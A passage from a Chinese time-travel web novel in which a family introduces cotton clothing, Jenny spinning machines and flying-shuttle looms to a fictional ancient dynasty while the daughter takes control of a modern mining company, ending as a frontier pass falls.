再加上棉花的出现,说不定能改变大顺朝现有的工业格局。 布帛这种东西,在这里也是硬通货之一,往年周边小国向大顺进贡,除了金银珠宝,丝绸布帛也是其中之一。 袁淼答应了。 袁博文回来后,谢云溪就把袁淼那边的进度告诉了他。袁博文想了想:“让淼淼明天联系叶部长吧,设备可以传过来了。” 谢云溪又说:“你猜猜我今天看到了什么好东西?” 袁博文笑了,配合猜了几次,都没有猜中。 “珍妮纺纱机!”谢云溪自己报出来了。 袁博文愣了愣,虽然他是个数学老师,但是对历史也有一定了解。谢云溪一提到珍妮纺纱机,他的眼睛就亮了。 “你是说,十八世纪西方世界出现的那个珍妮纺纱机?” 谢云溪点头,把袁淼传过来的图片给袁博文看。 袁博文边看边点头:“好!这个好!你说我们以前怎么没想到这个?“ 谢云溪抿着笑。她当年在江陵的时候虽然觉得这里的纺织技术落后,但是当时的心思几乎都在寻觅高手,想要回家这件事情上,所以根本就没有改变这里纺织技术的想法。 到了北地,跟女儿见上面后,局势骤变,她也没有想那么多。要不是女儿主动把信息和图片送到她面前,她还不一定能想的起来。 毕竟,珍妮纺纱机是西方历史上出现的物品。而她脑海里固有的观念,古代的华夏一直都是领先世界的存在,根本没想过西方世界会有什么好东西。 “你准备买到后就放在枫叶巷吗?那些女孩们没问题吧?这东西用起来可不得了!咱们至少要挣几年钱,再传到外面吧!” 谢云溪想了想:“我相信她们。” 纯手工的珍妮纺纱机制作出来的难度并不大,不像枪/支/弹/药等。 织布机这里原本就有,只是没有飞梭,再加上纺线效率一直提不上来,所以织布的效率低下。 有心人看到纯手工的珍妮纺纱机和飞梭后,能很快就学会,没有了先机,赚钱的效益会大大降低。 袁博文笑着说:“即便是相信,也不能大意!我可指望着这个能到大钱呢!” 第二天,谢记粮行和布庄开张。谢云溪也过去看了。粮行的人不少,价格跟先前的军需粮食一样,与郴州城里其他粮行差不多,但是谢记粮行里面还有诸多蔬菜水果,那边的售卖区人头攒动。 布庄的人没有粮行那边多,谢云溪进去了。新来的伙计秦方文看到她连忙迎过来。 谢云溪说:“不用管我,你们去忙吧!” “哎!”秦方文应了一声,就过去招呼顾客了。 第113章 第113章 广告 谢云溪边走边看, 谢记布庄的门店不小,楼上楼下共两层。 楼下出售各种布料和成衣,楼上则是休息区, 设有茶座茶点。陪夫人小姐们出来逛街的老爷公子若是无聊, 可以到上面歇个脚。 那里环境雅致。不过眼下人不多, 只有寥寥三四个人坐在里面。 楼下的售卖则是分了区, 丝绸等贵重布帛在一个区,麻葛等普通布帛又是一个区, 棉质布料和棉质成衣则是另一个区。 谢云溪打算重点推出棉布棉衣,所以棉质布料的区比另外两个区要大许多。 可惜,这里的人们对新生事物的接受没有那么快。棉质布料区的顾客少得可怜,大多数看了看后, 就走了过去。 谢云溪在铺子里转了一圈后,又来到了棉质布料区。看了看陈列的各种棉衣。 这些都是女儿从现代传过来的, 样式是她画的,与这里的人们常穿的夹衣款式差不多。 谢云溪从中挑了一件棉衣出来,回头看了看柜台里面的伙计,招手让他过来。 伙计过来了。他是晋州人, 认得谢云溪,更知道自己之所以能在这里,那是拜了袁大人和袁夫人的恩赐。 所以,看到谢云溪,他有些激动:“夫人!” 谢云溪记性不错, 她看过袁归递上了来的名单:“你叫郭二柱吧?” 伙计笑着点头。 谢云溪又问:“来这里还习惯吗?” “习惯!挺好的!”郭二柱满心欢喜回答。 他们从晋州来到郴州之后, 被安排在一个大杂院里居住,他跟粮行的另外一个伙计同住一间房,吃住都不要钱。他在布庄干活, 每月有一两五钱银子和五升粟米。 这样的收入,他以前想都不敢想。他家在晋州也有几亩薄地,但即便是太平年月,一年到头最多也就能落了五六两银子。 北凉人来了后,他们一家就进了城。没有地种,一家六口人就断了生计,他哥当了兵后,有了俸禄,日子这才过下去。 可前不久他哥没了,虽然府衙送来了抚恤,但那点钱坐吃山空,最多也就能撑三四年。 家里愁得! 他老娘都打算把小妹送到牙婆那里,看看能不能找个厚道人家。 可是年景不好,晋州城的有钱人也鲜少在外面买人了,倒是柳叶胡同有几个小馆还在收人。不过,得看颜色,模样好的才要。 他老娘一听,就断了这个念头。 卖到小馆的丫头,下场有几个好的? 这条路走不通。 可晋州城里实在找不到活儿,他的年纪也不到征兵的范围。 一家人愁云惨雾,正不知道接下来该怎么过活,府衙的钱大人和刘大人就找到了家里。 来到郴州后,他们几个年纪小都进了铺子。他听到这样的安排时,还想着许是要做一段时间的学徒,方才能挣钱养家。 哪知道昨天就被告知,他们这样的伙计不仅每个月能拿钱,还有粮食领! 一个月五升粟米!足够他家里剩下的几口人吃上大半个月了。 不用卖妹妹,全家都可以活下去。 郭二柱PMDUJIA光想着,鼻子就忍不住发酸。 谢云溪已经比量完棉衣了,将棉衣放到郭二柱手上:“去里面换上吧!” 郭二柱愣了愣,怀疑自己听错了:“夫人,是……我换上吗?” 谢云溪笑着点头:“去吧!你应该能穿!” 郭二柱不敢相信听到的。他手上的棉衣可是谢记布庄的招牌,一件得好几两银子呢。 谢云溪看出了郭二柱的犹豫了,又催促了一声。 郭二柱这才动了,进了里间更衣,出来的时候分外不自在。 他身上可是穿着好几两银子呢。 谢云溪眼睛一亮,让郭二柱转了个身,点了点头:“不错,挺合身的。” 又问念荟:“你觉得怎么样?” 念荟笑着说:“我看着也觉得好呢。” 谢云溪又问郭二柱:“怎么样?穿着大不大?手脚能活动开吗?暖和吗?” 郭二柱手脚都不知道怎么放了:“好!不大!暖和!” 他说的是真心话,这棉衣穿在身上,可比夹衣舒适多了。虽然夹衣也是新做的,但就是没有身上的棉衣暖和。 谢云溪也觉得不错:“让他们都换上吧?秦管事呢?” 秦方文原本就留意着这边,听说声音连忙过来了。 谢云溪说:“让店里的伙计都换上棉衣吧,就郭二柱身上的这款!” 秦方文吓了一跳,低声说:“夫人,这款棉衣二两五钱银子一件!” 铺子里上下两层楼的伙计,有一二十人呢!全部都换上,差不多要三四十两银子了! 谢云溪笑着:“我知道,让他们都换上!没事!” 棉衣在这里贵,一件二两五钱银子,换成人民币,那就是四五千元钱。 但是,女儿买到手不贵,一百五十元钱一件。布庄里的全部工作人员都穿上了,也就两三千元钱。 两三千多元钱,打个广告。有什么好舍不得? 这里的人们,不是没见过棉衣吗?店里的伙计都穿上了,这就是活招牌。好不好,摸一摸就能知道。穿的人,也能现身说法。 秦方文犹豫了片刻,把几个闲着的伙计叫了过来,让他们都去换棉衣。 伙计们刚开始都有些犹豫,秦方才文催促了几声,他们才动。从里间出来时,每个人脸上都是惊叹。 “好暖和!真不错!” “这棉衣真好!” “一穿到身上,感觉立马不一样了!” “我也是!穿着真舒服!” 谢云溪看着这些伙计,也挺满意自己的眼光。 这些十五六岁的青少年,都长得瘦,一件薄薄的夹衣穿在身上,看着就冷。现在就好多了。 伙计们穿着一模一样的棉衣出来,也引来了铺子里顾客的关注。有几个顾客过来看了。 听到了伙计们的小声议论,其中就有个客人问道:“哎!他们身上穿的是什么?是夹衣吗?” “不是!是棉衣!是我们谢记布庄从海外引进的一种布料,做成了夹衣。里面并不是常见的卢花柳絮等,而是棉花!既柔软,又暖和!比夹衣舒适多了!” “是吗?这种布料在这里?拿来我看看!” “您这边请!棉质布料都在这边!” 谢云溪看着陆续围过来的顾客,心里明白,广告的效应已经出来了。 只要穿上了棉衣,一定会知道它比这里塞了卢花和柳絮的夹衣暖和多了。 北地的冬天可比南边冷多了。 谢云溪低声对秦方文说:“一会儿让其他伙计也全部换上棉衣!” 秦方文看着周围渐渐围过来的人群,心里已经佩服无比,笑着应下了。 谢云溪又站了一会后离开了。 郴州的大街上,人气在逐渐复苏,路过府衙门口时,谢云溪看到了长长的队伍,她心里奇怪:“这是干什么?” 念荟笑着说:“是在买班车票!” 谢云溪瞠目:“这么多人吗?” 她记得一趟班车最多只能乘坐二十来人!眼前的队伍,可远不止这个数! “有人提前好几天就过来排队了!” 谢云溪说出话来了,她早就知道班车自开通后,很快就一票难求,但提前好几天买票,却是她没想到的。 到了枫叶巷,正在练习的关景钰等人看到谢云溪,纷纷过来行礼。 谢云溪笑着说:“你们练吧,我就看看。” 念荟搬来一张椅子,扶着谢云溪坐下。 庄静和张夫人已经返回了晋州,他们都在紫云巷置了房产,这次回去,就是为了搬家。不过,关景钰关景和和张二小姐都留了下来。 孙夫人得知她们都在郴州置了房产,昨天就带着孙舒兰回晋州去了,她也准备跟孙大人商量后,在这里买栋宅院了。 不过,谢云溪觉得孙夫人在紫云巷多半是买不到了。 原本那边的宅院就紧俏,自打他们住进去后,庄静和张夫人以及巡防营的江虎和骑射营的黄峥等人陆续都在紫云巷置了宅院。 这几天从晋州过来了不少人,其中也有好几家在那里买了宅院。 孙夫人下手有点晚了。 关景钰等人学的不错,几项常见急救技术都做的像模像样。谢云溪看了一会儿,说了几句后离开了。 纺纱机和织布机马上就要到位了,眼前的院子既然要做厂房,那就得整改一番。宅院的草图她已经拿到了手了,看过现房后,怎么整改,谢云溪心里也有数。 回到府里后,谢云溪画出需要整改的草图,把它交给了管事,让他尽快安排人手整改。 袁博文回来时已经很晚了。 “今天淼淼跟叶部长联系了吗?” “联系过了!她把你需要的那些设备报给叶部长,叶部长说,他们那边会马上联系购买。” 袁博文舒了口气。忙了这么些天,总算要开始干了。 “我过来的时候,去铺子那边看了看。今天棉衣卖的不错!” 谢云溪愣了愣:“布庄那边还没有关门吗?” “早关了!我去的时候,只有后面的院子还有人。袁归和秦方文他们几个人在对账。” “听说,是你让铺子里伙计都穿上棉衣的?” 谢云溪笑了,“是啊!天气这么冷,咱们是开布庄的,怎么能让伙计冻着?一件棉衣又不贵!” 袁博文点了点头:“是我考虑不周啊!你这个广告打得好!我回来的时候,街上就有人在说咱们的棉衣。” 谢云溪心里高兴。棉衣这种东西,只要穿上了,一定能明白它比这里夹衣好多了。 貂裘皮草等之类,确实比棉衣更舒适暖和,可惜它的价位不是一般人家能承受的。 棉衣的价格,也就比这里的麻葛夹衣贵上百来文钱,但穿上的体验可不是麻葛布料的夹衣能比的。 “淼淼有没有说,那珍妮纺纱机能不能买到?” “沈若臻已经去了厂家那边,估计明后天就能到了!” 袁博文放心了。只要用上珍妮纺纱机和飞梭织布机,织布的速度一定会大大提高。布帛和成衣的价格可不便宜。南方那边的经济之所以比北地发达,与那里民众普遍养蚕织布有一定关系。北方气候不好,桑蚕也不容易养活。 反正,他们打算明年开春就种棉花,现在拿出棉花来织布,也不算突兀。到时候棉花一出来,说不定他们的棉布棉衣等能打破南方纺织业的垄断,反倾销到南方。 “明天,我打算给枫叶巷的女孩们开个会。咱们既然打算开织坊,那就得先把规矩跟她们说清楚。” “你不是说,先挣几年钱后,再把珍妮纺纱机和飞梭公开吗?咱们可以先跟那些丫头们签个合同。跟她们约定,三年期限内,她们得在咱们的作坊里做工,三年期限满后,就让她们自由选择。想走想留想自己干都可以!” “三年,应该,差不多了吗?”谢云溪笑着问。 袁博文点了点头。三年的时间不短了,靠着这个先机,三年能挣不少钱了。 即便三年后,珍妮纺纱机和飞梭织布机不再是秘密,也不代表他们挣不到钱了。只是没有先机,相对挣得较少而已。 “薪资,我准备给她们开底薪加提成,底薪就给一两二钱银子,提成就看她们每天能纺出多少线,织出多少布。” “三年的期限,只要她们好好干,攒下四五十两银子不成问题。有了这些钱,她们可以买地,买房子,再靠着一手纺织技术,活下去,应该是没问题了。” 袁博文轻轻揽住了谢云溪。那些女孩能靠自己活下去,余生一定会顺畅许多。 第二天,谢云溪又带着念荟等人来到枫叶巷。在院子里坐下后,谢云溪就让念荟把女孩们都叫过来。 很快,除了下不来的床沈悦兰,其他女孩们都过来了。 念荟拿出书契:“你们都知道我们老爷和夫人准备开家织坊,这是书契,如果你们愿意留下来在这里做工的,一会儿签下这个书契,就算是约定成了!” 她看了底下一眼,“叶小姐,烦劳你把书契的内容给我们念一遍吧!” 站在一边的叶淑婉过去了。看了一遍书契的内容,她的脸色有些动容。照着上面的内容念了一遍。 女孩们听完后,面面相觑,许多人脸上都露出了不敢相信的神色。 姜云枝壮了壮胆,伸手问道:“念荟姑娘,我们留在这里做工,真的可以每个月拿到一两二钱银子吗?” 她也怀疑自己听错了。 念荟笑着说:“当然是真的,这只是底薪,还有提成。书契上都有写明!” 姜云枝心里激动起来。 每个月一两二钱银子!一年就是十多两银子!以前,她家的杂货铺,一年到头也就能挣这个数!但却不止需要一个人看守。 她原本想着,留在这里,能糊个口就算不错了。谁知道居然还有钱拿? 一个月一两二钱银子,一年就是十多银子,三年那就是三四十两银子!有了这三四十银子,即便是离开了这里,她也不怕了! 至于念荟所说提成,姜云枝并没有放在心上,她知道怎么织布。 除开养蚕,抽丝,纺线,织布,这些都是极其耗时间的事儿。想要织出一匹布,没有一两个月的时间,休想完成。 所以,这个提成就跟没有一样。 跟姜云枝有一样的想法不在少数,但女孩们仍然很高兴。 至于书契的其他内容,她们并没有放心上。 三年之内,不得离开。如今的她们,离开了这里,还能去哪里? 前些时候,离开这里回家的几个,除了康小月外,其他的都回来了。她们当中,即便父母还在,那家里也容不下她们了。不仅街坊邻居,哥哥嫂嫂叔伯姑婶,背后里也在指指点点。 至于透露织坊的事,她们连这里的门都不想出,透露给谁听?不管在哪家干活,不对外面说东家的事情,这几乎是不成文的规定了。 签下书契后,没过几天,女孩们就被带进了一间屋里。屋里摆放着几个大件,其中一个有些熟悉。 姜云枝看了很久,忍不住出声问道:“念荟姑娘,这是织布机吗?” 念荟已经提前几天知道这些是纺纱机和织布机,并且也学会怎么使用。 “没错,这是飞梭织布机!” 姜云枝皱起眉头,眼前的织布机跟她见过的并不一样,不过,有些东西差不多,想来学一学,她应该也能练会。 但旁边的那个是什么? 念荟已经让人抬来了棉花,开袋后,她指着里面的棉花说:“这是棉花,跟蚕茧差不多,也能纺线织布。” “这是织布机,想必你们很多人都见过织布机,但这一款有些不同……”她拿出了飞梭,告诉女孩们怎么使用。 姜云枝瞪大了眼睛。 梭子还能这么用吗?速度这么快!这样一来,一匹布哪儿用得着一两个月? 念荟又来到纺纱机旁边:“这是纺纱机……我们以前用过的纺纱机,一次只能纺出一两根线,但是这款纺纱机一次可以纺出十六根线!” 姜云枝怀疑自己听错了,一次纺出十六根线?! 这是怎么做到? 人人都知道,织布最耗时间的环节就是纺线了,将蚕茧处理后,取出蚕丝,再纺出一根根线,一次只能纺出一两根线,这活计急不得,一不小心线就会断。 越是昂贵的布帛,对纺线的要求也越高。 而织就一匹布需要的纺线可不少。PMDUJIA 一次纺出很多根线,这几乎是所有织布的人的心愿了。 一次能纺出十六根线! 不仅姜云枝惊呆了,进来的女孩们也都怀疑自己听错了。 第114章 第114章 突破 念荟已经在操作了, 她把棉花放进了一个个装置中,摇动旁边的旋转轮,没一会儿一根根细线就从棉花里抽了出来, 缠绕在线锥上。 女孩们看呆了, 蒋新月兴奋摇着姜云枝的胳膊:“姜姐姐, 你看到了没有?真的一次纺出了十六根线呢!” 姜云枝已经目瞪口呆。她织过布, 家里的杂货铺也卖过织布机和纺线车,但是像眼前这么容易就能一次纺出十六根线的场景她做梦都没见过。 这样的纺线的速度, 再加上刚才飞梭织布机织布的速度,一匹布哪里还用得着一两个月?几天就能完成了! 现在布帛多贵!麻葛等面料的都要二三两银子一匹了,绸布则至少十两银子才能买到一匹! “念荟姑娘,你能再做一遍吗?”姜云枝迫不及待想要自己试一试了。 念荟笑着应了, 分别纺了线,织了一会布。 女孩们聚精会神看着。念荟做完后, 姜云枝连忙说:“我可以试一试吗?” 心动的女孩不少,有一个同时也出声了。 念荟指着旁边搭着展布的东西说:“那边还有两架纺线机和织布机,你们想练手,都可以试一试, 隔壁房间也有。” 姜云枝动了,抓了一把棉花。顿了顿。掌心的柔软超乎寻常,竟然跟蚕茧的软和细腻差不多了。 这些都是棉花! 也不知哪儿来的?贵不贵? 姜云枝害怕浪费,小心按照念荟刚才的演示做了一遍。无论是摇出来纺线,还是织出来的布, 都让她惊喜无比。 念荟过来看了看:“对!就是这样操作!织出来的这种布, 叫棉布,现在郴州城内就有售卖。” 姜云枝已经发现了棉布的好,比麻葛布帛柔软多了, 且纺出线也更有韧性。 “念荟姑娘,这些棉花是哪儿来的?” 念荟笑着说:“这是我们老爷和夫人在海外购置的。” 女孩们好些都去看棉花了。 “这些棉花真柔!” “又白又软,比蚕丝毫不逊色!” “一定很贵!” 围观的女孩议论纷纷。有个忍不住问道:“念荟姑娘,这样织出来的棉布,一匹多少银子?” “四两银子一匹!” 好几个女孩捂住了嘴巴。这样织出来的棉布竟然只需要四两银子一匹吗? 比绸布便宜多了!一匹绸布,最次的也得十两银子左右呢。 即便是又硬又不透气的麻布和葛布,也要二三两银子一匹。 眼前的棉布既柔软又透气,虽然不如绸布细腻,但摸在手上的感觉更柔软舒适。 竟然只需要四两银子一匹吗? 念荟微笑看着女孩们。她知道老爷和夫人的棉花是并不是海外购置,买到手也并不贵,后院这样的棉花都堆了满满一间屋子。 若是这样份量的蚕茧,只怕成千上百个人,忙上一年都不一定能收到。 听说这些棉花并不是蚕或其他虫子结出来的丝,而是地里长出来的。并且老爷夫人打算开年就在这边种植。 她已经迫不及待想看看棉花是怎样从地里长出来的。 女孩们都忙碌了起来。大家都签了书契,早点学会了,可以早点挣钱。一个月不仅能拿到一两二钱,还有提成! 眼前的纺线车和织布机,只需要几天就出一匹布,那书契上所列的提成就不再是一个遥不可及的梦了。 念荟在旁边看着,她第一次见到纺线机和织布机时跟她们的反应差不多,惊得下巴都要掉了。 一次能纺出十六根线的纺纱机,几天就能出一匹布的飞梭织布机!有了这样纺线机和织布机,谢记布庄一定能挣很多钱! 就在枫叶巷的女孩们学习纺线织布的时候,袁淼正在准备开会事宜,在林成章的帮助下,经过多次协商,她已经成功收购了振兴矿业70%的股份,控股这家公司。 在第一次董事会后,她被选为了董事长,而振兴矿业公司也将在这一次的职工代表大会上改名为博云矿业公司。 这次是收购成功后的第一次职工代表大会。袁淼换了一身西装,手中拿着这次会议的议程。助理沈若君忙着在做最后的检查工作。 会议室的音乐响起后,袁淼就站了起来,在门口遇到了林成章,他是即将要宣布的博云矿业公司的副总经理。 振兴矿业原来的钟万程总经理依旧维持原职位不变。不过,他即将退休,这次会议后,他将退居二线。 金副总和姚副总也在后面等待,他们看到袁淼后,纷纷转头笑着招呼。袁淼也笑着回应。 要入场了,袁淼暗暗吸了口气,她知道即将要面临的职工代表大会人数并不多,但到底是第一次,她心里有些紧张。 不过,踏着音乐入场,在主席台上坐定后,袁淼心里的紧张反而烟消云散了。 主席台下人头密集,许多人都在交头接耳。袁淼听不到他们在说什么,但知道一定与自己有关。 一家从未听说过的企业收购了他们的公司,坐在主席台上的董事长年轻的超乎寻常,真的能带领着他们走出困境吗?这些应该台下的职工们都在担心的事情。 会议开始了,底下也安静了下来,一番介绍后,袁淼发了言,展望了公司的将来,勉励大家一起克服眼前的困难,迎接美好的将来。 她的发言稿当然不是自己捉笔,如此鼓动人心的演讲是宣传部拿出来的。她只负责照本宣科读一遍就行。 她演讲完后,台上台下响起了热烈的掌声。 袁淼有些汗颜,但并没有在脸上显露出来。 一切按照会议议程在走。袁淼演讲过后,会议主持人宣布博云矿业公司接下来工作安排。 介于公司目前的形势,公司会在接下来将工作的重点转移到矿石的加工提炼等环节来。公司已经与兴达采矿厂签订了合同,将承接这家采矿公司的矿石加工提炼等事宜。 至于这家采矿公司,自然是叶部长安排的。 不过矿石却是从另一个世界传递过来的。 袁淼仔细看了看底下职工代表们的反应,他们虽然很惊讶,但显然都觉得这是一件好事,能与采矿公司合作,那原本公司的资源短缺问题就迎刃而解了。 会议事后袁淼回到办公室,才坐下来,就接到了周晟的电话。他向袁淼表达了祝贺。 袁淼笑着道了谢。 这次的职工代表大会虽然是振兴矿业公司变更成博云矿业公司的第一次会议,但是他们并没有对外宣传。 不过,矿业公司的圈子并不大,与珠宝行业牵连颇多,连还在医院的周晟都知道这件事情,想来她担任博云矿业公司董事长的事情应该不是秘密了。 至于矿企,那自然是该知道的,都知道了。 “你现在怎么样?好些了吗?” 问出这话的时候,袁淼就想起来了,她还答应过周晟,过几天再去看他。结果,一忙起来,就全忘记了。 “好多了,医生说我明天就可以出院了。”电话那头的周晟叹口气,“但我觉得……我还没有完全好,心里这里有点疼呢,有人答应了,要来看我,我望穿了秋水,也没有看到人影啊!” 袁淼被逗笑了:“对不起……明天什么时候出院?我来接你!” 周晟笑着说:“开玩笑的!我知道你忙。” “哎,怎么样?当董事长的感觉……还好吧?” 袁淼笑了,她没什么感觉,林成章把一切都安排好了,叶部长给钟万程打了电话,振兴矿业公司这边非常配合。 “还好,就是太忙!”袁淼如实回答。 矿业公司这里虽然不用她操心,但是她要出面。 父亲和叶部长之间的沟通,她虽然懂得不多,但人也要到位。 母亲那边的粮行布庄虽然才开张,但销量太好,尤其蔬菜水果和棉衣棉袄,这些她也要及时跟进。 “刚开始是这样,等上了轨道就好了。”周晟安慰说。 “我明白,谢谢你……明天什么时候出院?” 周晟顿了顿:“上午十点左右……你不用过来,我知道你忙,刚才我是骗你的。” 袁淼看了看明天的日程安排……上午十点左右,她得去虚构的采矿公司看看,这是早就跟王振声约好的。 “呃……那好吧,要不,后天晚上,我请你吃饭,庆祝你康复出院!” 周晟笑了,但只一会儿那笑容就没了,可到底不甘心:“好啊!后天,我可等着呢!” “好,到时候再联系!” 听到电话那边传来通话中断的声音,周晟好一会儿才缓过神来。 这就是单恋的感觉了。 这些天他在医院里面牵肠挂肚,等着袁淼过来看他,却不料,她不声不响竟然做成这么大的一件事情。 收购振兴矿业,控股成为董事长。 年仅二十四岁的矿业公司董事长,圈内已经传遍了。 这样的身份,不仅仅需要自身实力强悍,也需要背后有极其雄厚的支持。 袁淼,她不是新江市那个无依无靠的小姑娘。她背后有人。这已经是不少人的共识的。 很多人都以为她背后的靠山是宋记。宋颜在这次袁淼收购振兴矿业公司的事件中也起了很大的作用。 袁淼身边出谋划策的人是林成章,众所周知他是宋颜的人。 还有袁淼到了阜县后发生的事情,也是宋颜在周旋。 杜彦明在阜县可是举足轻重的人,他新成立的鑫源集团原本就是奔着振兴矿业的那张采矿许可证去的,结果,被袁淼截了胡。 这家伙不甘心,即便是知道了袁淼背后有人,也要去碰一把。 这下好了,不仅他自己进去了,他那个荆市经济开发区的区长父亲也栽了,这几天正在被查。想要安然脱身,几乎不可能了。宋颜的人咬得很紧,上面也有风声,这件事情必须要严查。 明明还有几年就能退休安享晚年,这下子别想了。 宋颜这次出手,几乎做实了他和袁淼的关系。 但他并认为袁淼背后的靠山就是宋颜,他和袁淼刚认识的时候,她一出手就是高冰种翡翠明料。 宋记如今的产业,虽然遍地开花,但主体经营仍然是珠宝首饰。 如果那时候袁淼和宋颜关系不一般,她是不会将明料卖给他的。 珠宝首饰行业,遇到了极品原材料不会轻易放过。 袁淼,背后的靠山也不像是宋记。 宋记虽然是百年世家,与上面交情匪浅。但是那天叶家振对袁淼的爱护可不一般。 宋颜,包括整个宋记,都达不到那样的高度。 袁淼和宋颜的关系,以前肯定不是亲密男女关系,但是现在不好说了。 宋颜做了那么多,他在袁淼心目中的份量,肯定不一样了。 周晟心里不舒服。 明明,他的出现也不晚,但是总赶不到好时候。 比如,这次,袁淼遇到了杜彦明,差不多出事。偏偏他在医院里面,等知道的时候已经晚了。 不甘心啊! 袁淼不知道周晟想了那么多,处理完矿业公司的事情后,她就开车来到了跟宋颜约好的餐厅。 宋颜已经到了,起身替袁淼拉开了座位。 “怎么样?今天的职工代表大会还顺利吧?” 袁淼笑着回答:“挺好的,林总把一切都安排好了,我只需要照做就可以了。” 宋颜笑着说:“林成章在宋记的时候虽然只是个副总,但能力不错。不过,许多事情,你还是要自己过目。” 袁淼点头,她知道不能轻信他人,但是她对管理这么大的企业确实没经验,只能慢慢学习。 宋颜坐下了,袁淼把准备的礼物递给宋颜。 宋颜一时没接,垂下的眼眸有些黯然,不过,脸上依旧有笑:“是给我的吗?” “嗯!你打开看看!” 女孩眼睛亮晶晶的,宋颜心里虽然不想要,但实在不想看到她脸上的笑消失。 打开了礼盒,里面是一枚用海螺贝母制作的领带夹,精美奢华。 “这是HERMS手工制作的领带夹,是我好不容易买到的,你可不能拒绝!” 宋颜眼镜后面的眸子闪闪发光,一会后抬起来,目光灼热:“淼淼,你知道赠送领带夹代表了什么?” 袁淼脸上一热,若无其事说:“知道啊,祝福和赞美!” 她看向宋颜:“宋颜,谢谢你!” 她到今天才知道,那天在阜县宋颜所说的退休是什么意思了。 杜彦明的副区长父亲并不是要到退休的年纪了,而是有人要让从那个位置上退下来。 没有宋颜的帮忙,她收购振兴矿业公司不会这么顺利。以后,想要在阜县开展工作,也不是一件容易的事情。 宋颜看着袁淼,素来清冷矜贵的脸上淡淡笑着,眸子里宠溺几乎要溢了出来。 “祝福和赞美是其中意义之一,另一层含义是……” 袁淼有些慌了,连忙打断:“我有些饿了,你点了餐吗?” 想说的话就这么被打断了,宋颜心里有点无奈,但他脸上依旧笑容不减,将菜单递过去:“想吃什么?你看看,这里的汤煲得不错!” 袁淼接过菜单后,心里的慌乱渐渐平息了下来,她也有些懊恼了,决定要送领带夹的事情,她想过了宋颜会说什么,但事到临头,她还是退却了。 吃完饭已经很晚了,宋颜开车,袁淼坐在副驾驶位上,车窗外光景如流水过去。 她和徐清阳虽然已经成了过去,但还是在她心里留下了难以磨灭的印象。 宋颜看了看镜子,开了音乐。 舒缓的音乐的响起,袁淼心里感伤也淡了一些。 第二天,袁淼就来到了兴达矿厂,矿厂的牌子是新挂上的。 袁淼的车在大门口被拦了下来,执行任务的保安虽然穿着一般保安人员的服装,但周身气势凌厉,显然不是一般人。 袁淼跟张青云说了一声后,下了车。正要打电话,王振声小跑过来了。 “小袁!” 袁淼放下了手机。王振声笑呵呵招手让她进来。并且介绍他旁边的人:“小袁,这位是卫明卫总,以后这里是他负责!你有什么事情,都可以找他!” 袁淼跟卫明握手。卫明笑着说:“袁小姐放心,这里都安排好了!人员绝对可靠!车和司机也没有问题。” “谢谢!” 王振声问道:“小袁,你爸那边怎么样了?” 袁淼知道上面一定安排好一切,但看到眼前与一般矿区几乎无二的场面后,她心里仍然吃惊不小。 “他们那边前期的工程已经做完,昨天已经在开采了。我爸说三天后,他就可以传一批矿石过来了。” 王振声笑得更和煦了:“那就好,有什么困难,你们要及时跟我们反映!我们一起来解决!” 两个世界第一次合作,必须要开个好头。 他们带着袁淼进去,边走,边向她介绍。 眼前的矿区只是个幌子,是为了接收来自异世界的矿石设置。矿石收到后,会由专门的司机送到博云矿业进行加工提炼等。 最后提炼出来的黄金会按照约定的价格回收。 原本,我/国的矿产资源并不丰富,但是如果有异世界支持,那局面就大不一样了。 现在,可以合作开采矿产,以后也可以合作开采其他嘛。 他们需要的很多物资,在异世界现在只是废品。异世界需要粮食棉花等,他们完全能满足,指导进行一些改进,也没有问题。 拉动两边的贸易往来,是你好我好大家都好的事。 “我听说你打算收购一批棉花,怎么样?找到了合适厂商了吗?” 袁淼连忙说:“已经找到了!” 谢云溪在枫叶巷的作坊并不大,员工不到百人,但是用上珍妮纺纱机和飞梭织布机后,织布的速度大大提高了。 谢记布庄的棉衣很受欢迎。 袁淼先前在这里购买的棉衣是一百五十元一件。老板虽然说的手工制作,其实并不是。不过这里缝纫技术厉害,手工与非手工制作出来的棉衣不仔细看,很难分辩。 棉布织出来后,谢云溪打算打算在晋州那边招收一批女工接手制作棉衣,想给那边的女人们找个活做,让她们能有点收入补贴家用。 晋州被围的时间太长了,城里的活儿不多,城外的地一时也不敢去种——晋州周边虽然没有北凉人,但是有土匪。 没有了进项,城里许多人家的生计都成了问题。 北地的女人虽不如南方的秀婉,但是干活一点儿都不差,几乎人人都会缝补,一些人更是会自己裁剪缝衣。将这些人组织起来培训一两天,想来也能缝制棉衣。 棉布则由郴州枫叶巷这边的织坊出品。 棉花就只能靠袁淼传递了。 不过,事情才开始,那边的棉花需求量并不大,这些在市场就能找到供应的商家。 王振声点头:“要是有困难就跟我说。” “谢谢王所长!我不会客气!” 跟王振声交道打多了,袁淼的胆子也大了起来。 王振声笑了笑:“走,我们去你的办公室看看!” 袁淼不知道这边居然还为她准备了办公室。跟着王振声卫明上了楼,推开一间办公室的门,里面一应办公物品俱全。还有个小小的休息室。 袁淼很满意。 “卫明平时就在这边,他的办公室在二楼,这是他的电话,有什么事情,你直接可以找他!” 袁淼忙得团团转时,袁博文也没有闲着。矿区的前期工程已经完成了,这两天已经在采矿了,有了现代化设备的加持,工人采矿的速度比先前全手工快了不少。只一两天就运出不少矿石。 袁博文蹲在矿石堆旁边,仔细看了看,经过这段时间的摸索,他已经对矿产有了一定的了解。 眼前的矿石肉眼就能见到金沙,的的确确是一座富矿,而且还是那种含金量不低的富矿。 按照现在采矿的速度,也许要不了一年就能出二三十吨金! 正想着这些,袁博文听到的动静,他站起来。 一辆摩托车呼啸而来。车上的人正是这里的护卫队长。他下了车后,急跑过来。 “大人!军中来了紧急军务!” 第115章 第115章 孬种 袁博文拍了拍手上的沙土, 跟着护卫队长赵世达一起回到了居住点。这里已经经过了改造,居住环境比先前好多了。 不过,依旧管理的很严, 闲杂人等不能靠近, 出入也有限制。 袁博文还没有下车, 就看到在门口打转的谷雨。 谷雨跑了过来。 袁博文问:“什么事儿?” 谷雨平复了一下呼吸, 低声回答:“老爷,泗阳关破了!” 袁博文吓了一跳。 谷雨来的匆忙, 头上都是汗:“刚刚斥候营得到了消息,泗阳关前日夜里破了,北凉人进了关!” 袁博文怀疑自己听错了。 泗阳关,那可是北地连接南方的咽喉要道, 地势险要,易守难攻。北凉自从南下, 一路势如破竹,却在泗阳关止步,与镇守在那里的大顺守军对峙了几个月。 现在,居然破了?! 接下来, 会发生什么? 袁博文定了定神,转身快步走向不远处的越野车,谷雨连忙跟了上来。 “霍云泽呢?” 谷雨一边小跑,一边回答:“说是往同城方向退走了。” 那就是没死! 